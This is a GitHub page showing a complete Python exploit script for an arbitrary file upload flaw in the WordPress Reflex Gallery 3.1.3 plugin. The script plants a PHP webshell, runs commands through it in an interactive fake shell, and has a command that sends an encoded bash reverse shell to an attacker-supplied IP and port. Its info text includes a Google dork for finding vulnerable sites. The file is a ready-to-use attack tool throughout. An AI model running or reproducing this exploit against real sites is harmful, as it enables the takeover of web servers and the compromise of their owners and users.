-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathexploit.py
185 lines (143 loc) · 6.65 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
# Libraries
import requests
import sys
import argparse
import os
import re
import time
import base64
# Colors
class c:
PURPLE = '\033[95m'
BLUE = '\033[94m'
CYAN = '\033[96m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
END = '\033[0m'
UNDERLINE = '\033[4m'
# Print banner
def banner():
exp_banner = """ ___ __ _ ___ _ _ ____ _ ____ ___ _ _ _
| _ \___ / _| |_____ __ / __|__ _| | |___ _ _ _ _ |__ / / | |__ / | __|_ ___ __| |___(_) |_
| / -_) _| / -_) \ / | (_ / _` | | / -_) '_| || | |_ \_| |_ |_ \ | _|\ \ / '_ \ / _ \ | _|
|_|_\___|_| |_\___/_\_\ \___\__,_|_|_\___|_| \_, | |___(_)_(_)___/ |___/_\_\ .__/_\___/_|\__|
|__/ |_| """
print(c.YELLOW + exp_banner + c.END)
# Add arguments
def parser():
p = argparse.ArgumentParser(description="Reflex Gallery 3.13 Exploit - Arbitrary File Upload to RCE")
p.add_argument("-u", "--url", required=False, help="base URL of the wordpress target")
p.add_argument("-i", "--info", required=False, action='store_true', help="show vulnerability description")
return p.parse_args()
# Execute commands once webshell is uploaded
def execute_commands(url, webshell_name):
whoami = requests.get(url + "wp-content/uploads/2022/09/" + webshell_name + "?cmd=whoami").text
whoami = whoami.strip()
hostname = requests.get(url + "wp-content/uploads/2022/09/" + webshell_name + "?cmd=hostname -I").text
hostname = hostname.strip()
print(c.BLUE + "\nType " + c.YELLOW + "help" + c.BLUE + " to see extra functions\n" + c.END)
while True:
command_to_exec = input(whoami + "@" + hostname + ":~$ ")
if command_to_exec != "exit" and command_to_exec != "quit" and command_to_exec != "help" and not command_to_exec.startswith("rev ") and command_to_exec != "clear" and command_to_exec != "cls" and command_to_exec != "?":
command_out = requests.get(url + "wp-content/uploads/2022/09/" + webshell_name + "?cmd=" + command_to_exec).text
print("\n" + command_out)
if command_to_exec == "help" or command_to_exec == "?":
print(c.YELLOW + "\nCommands\t\tDescription" + c.END)
print(c.YELLOW + "--------\t\t-----------" + c.END)
print(c.BLUE + "rev <ip> <port>\t\tSend a reverse shell to your netcat listener" + c.END)
print(c.BLUE + "quit/exit\t\tExit from shell" + c.END)
print(c.BLUE + "clear/cls\t\tClear terminal output" + c.END)
print(c.BLUE + "help/?\t\t\tPrint this help panel\n" + c.END)
if command_to_exec == "clear" or command_to_exec == "cls":
os.system("clear")
if command_to_exec.startswith("rev "):
print(c.BLUE + "\n[" + c.YELLOW + "*" + c.BLUE + "] Sending a reverse shell to your listener...\n" + c.END)
# Parse IP and port
ip = command_to_exec.split(" ")[1]
port = command_to_exec.split(" ")[2]
# Define bash reverse shell
reverse = f"""bash -i &> /dev/tcp/{ip}/{port} 0>&1"""
reverse = base64.b64encode(reverse.encode()).decode()
reverse = f"""echo {reverse} | base64 -d | bash"""
try:
rev_command = requests.get(url + "wp-content/uploads/2022/09/" + webshell_name + "?cmd=" + reverse, timeout=3)
except:
pass
if command_to_exec == "exit" or command_to_exec == "quit":
print(c.BLUE + "\n[" + c.YELLOW + "*" + c.BLUE + "] Clossing connection, bye!" + c.END)
sys.exit(0)
# Main function
def main():
# Parse arguments
args = parser()
try:
if not sys.argv[1]:
print("URL not provided, [-h/--help] to show help panel")
sys.exit(0)
except:
print("URL not provided, [-h/--help] to show help panel")
sys.exit(0)
if args.info:
exp_info = """\n# Exploit Title: Wordpress Plugin Reflex Gallery - Arbitrary File Upload
# Google Dork: inurl:wp-content/plugins/reflex-gallery/
# Date: 08.03.2015
# Discovered by: CrashBandicot @DosPerl
# Vendor Homepage: https://wordpress.org/plugins/reflex-gallery/
# Software Link: https://downloads.wordpress.org/plugin/reflex-gallery.zip
# Version: 3.1.3 (Last)
# Tested on: Windows"""
print(exp_info)
print("\nPath where the vuln occurs: /wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php")
print("\nVulnerable code:")
print("50. if(!move_uploaded_file($_FILES['qqfile']['tmp_name'], $path)){")
print("173. $result = $uploader->handleUpload('../../../../../uploads/'.$_GET['Year'].'/'.$_GET['Month'].'/');")
sys.exit(0)
banner()
url = args.url
# Check if target is live
time.sleep(0.2)
print(c.BLUE + "[" + c.YELLOW + "*" + c.BLUE + "] Checking connection with target..." + c.END)
checker = requests.get(url, timeout=10)
time.sleep(0.4)
if checker.status_code != 404 and checker.status_code != 500:
print(c.BLUE + "[" + c.YELLOW + "+" + c.BLUE + "] Connection established successfully" + c.END)
else:
print(c.BLUE + "[" + c.RED + "-" + c.BLUE + "] Connection refused, exiting" + c.END)
sys.exit(0)
try:
os.remove("exploit-shell.php")
except:
pass
# Create webshell file
shell = open("exploit-shell.php", "w")
shell.write("<?php system($_REQUEST['cmd']); ?>")
shell.close()
# Define file content
file = {"qqfile": open("exploit-shell.php", "r")}
if not url.endswith("/"):
url = url + "/"
# Upload file
time.sleep(0.3)
print(c.BLUE + "[" + c.YELLOW + "*" + c.BLUE + "] Uploading malicious file..." + c.END)
r = requests.post(url + "wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php?Year=2022&Month=09", files=file)
uploaded_name = re.findall(r'"fileName":"(.*?)"', r.text)[0].split("/")[-1]
time.sleep(0.6)
if uploaded_name != "" and "true" in r.text:
print(c.BLUE + "[" + c.YELLOW + "+" + c.BLUE + "] File uploaded successfully" + c.END)
time.sleep(0.3)
try:
os.remove("exploit-shell.php")
except:
pass
# "while" loop to execute commands in a fake-shell
print(c.BLUE + "[" + c.YELLOW + "*" + c.BLUE + "] Trying to establish a shell..." + c.END)
time.sleep(0.4)
execute_commands(url, uploaded_name)
if __name__ == "__main__":
# Program starts here
try:
main()
except KeyboardInterrupt:
print(c.BLUE + "\n\nInterrupt handler received, exiting..." + c.END)
sys.exit(0)